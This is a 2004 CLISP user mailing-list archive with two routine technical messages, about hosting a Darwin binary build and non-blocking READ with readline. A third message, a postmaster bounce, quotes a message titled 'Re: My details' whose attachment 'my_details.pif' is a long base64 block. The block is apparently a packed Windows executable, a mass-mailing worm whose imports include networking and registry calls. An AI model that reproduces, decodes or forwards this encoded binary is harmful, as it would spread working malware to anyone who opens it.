Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BWEWe-00026R-Vq for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 06:14:25 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i54DEDgh006962; Fri, 4 Jun 2004 09:14:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ray Kohler Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <2981E242-B5B8-11D8-ACBC-000393CAE5F4@cox.net> (Ray Kohler's message of "Thu, 3 Jun 2004 19:45:58 -0400") References: <2981E242-B5B8-11D8-ACBC-000393CAE5F4@cox.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ray Kohler Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Binary build available Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 4 06:15:03 2004 X-Original-Date: Fri, 04 Jun 2004 09:14:13 -0400 > * Ray Kohler [2004-06-03 19:45:58 -0400]: > > I have a clisp-2.33.2-ppc-powerpc-darwin-7.4.0.tar.gz build made. I am > quite willing to share it, however, I have nowhere available to host > it. I can upload (or even email) it, if someone is willing to take it > that way and put it on the Sourceforge site. Let me know. please upload it to upload.sourceforge.net:/incoming please send me a note as soon as you are done. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Yeah, yeah, I love cats too... wanna trade recipes? From sds@gnu.org Fri Jun 04 10:00:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWI3M-0002EJ-Hu for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 10:00:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BWI3M-0005pJ-0C for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 10:00:24 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i54Gxugh014509; Fri, 4 Jun 2004 12:59:56 -0400 (EDT) To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: Brian Mastenbrook , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [patch] portable araneida Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16576.39530.275766.436645@isis.cs3-inc.com> (Don Cohen's message of "Fri, 4 Jun 2004 08:51:06 -0700") References: <16576.39530.275766.436645@isis.cs3-inc.com> Mail-Followup-To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), Brian Mastenbrook , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 4 10:01:04 2004 X-Original-Date: Fri, 04 Jun 2004 12:59:56 -0400 > * Don Cohen [2004-06-04 08:51:06 -0700]: > > [not to list] you did CC to ! > > I am not sure how to implement this without MT: when a character is > > available on STDIN, READ is called, which will then block until the > > form is finished. > Of course you can't just call read if you don't want to block. > What you can do is collect input into a string and whenever new > input arrives do read from string to find out whether you have > enough input. CLISP uses readline for input. One has to run it in a separate (C) thread. Patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. From nobody@yield.zk3.dec.com Fri Jun 04 12:04:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWJzq-0006vZ-0u for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 12:04:54 -0700 Received: from zcamail05.zca.compaq.com ([161.114.32.105]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BWJzp-0006KE-4V for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 12:04:53 -0700 Received: from mailrelay01.cce.cpqcorp.net (mailrelay01.cce.cpqcorp.net [16.47.68.171]) by zcamail05.zca.compaq.com (Postfix) with ESMTP id 77363BF0D for ; Fri, 4 Jun 2004 12:04:44 -0700 (PDT) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by mailrelay01.cce.cpqcorp.net (Postfix) with ESMTP id 7CB9920 for ; Fri, 4 Jun 2004 14:04:43 -0500 (CDT) Received: from yield.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id PAA05121; Fri, 4 Jun 2004 15:04:42 -0400 (EDT) Received: by yield.zk3.dec.com (8.9.3/1.1.8.2/24May94-1151AM) id PAA352304; Fri, 4 Jun 2004 15:04:42 -0400 (EDT) From: anonymous NFS user Message-Id: <200406041904.PAA352304@yield.zk3.dec.com> To: clisp-list@lists.sourceforge.net X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] The account for daniele has been removed [Re: Re: My details] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 4 12:05:12 2004 X-Original-Date: Fri, 4 Jun 2004 15:04:42 -0400 (EDT) The following is a pre-recorded message from postmaster@zk3.dec.com: Your message of Fri, 4 Jun 2004 21:04:35 +0200 has been received. The user in which this mail was intended has either left COMPAQ or left the USG group and no longer has an account in zk3.dec.com. Please remove this user name in any mail lists you administer. This mail will _NOT_ be forwarded. Regards, postmaster@zk3.dec.com *** Your original message follows *** -------------------------------------------------------------------------------- >From clisp-list@lists.sourceforge.net Fri Jun 4 15:04:42 2004 Received: from oflume.zk3.dec.com by yield.zk3.dec.com (8.9.3/1.1.8.2/24May94-1151AM) id PAA352300; Fri, 4 Jun 2004 15:04:41 -0400 (EDT) From: Received: from mailrelay01.cac.cpqcorp.net by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id PAA29063; Fri, 4 Jun 2004 15:04:41 -0400 (EDT) Received: from zmamail01.zma.compaq.com (zmamail01.nz-tay.cpqcorp.net [161.114.72.101]) by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id B384427AA for ; Fri, 4 Jun 2004 12:04:39 -0700 (PDT) Received: from zk3.dec.com (unknown [82.254.229.113]) by zmamail01.zma.compaq.com (Postfix) with ESMTP id 1AA3FB07E for ; Fri, 4 Jun 2004 15:04:36 -0400 (EDT) To: daniele@zk3.dec.com Subject: Re: My details Date: Fri, 4 Jun 2004 21:04:35 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_00004315.00007614" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040604190436.1AA3FB07E@zmamail01.zma.compaq.com> This is a multi-part message in MIME format. ------=_NextPart_000_0012_00004315.00007614 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please have a look at the attached file. ------=_NextPart_000_0012_00004315.00007614 Content-Type: application/octet-stream; name="my_details.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="my_details.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 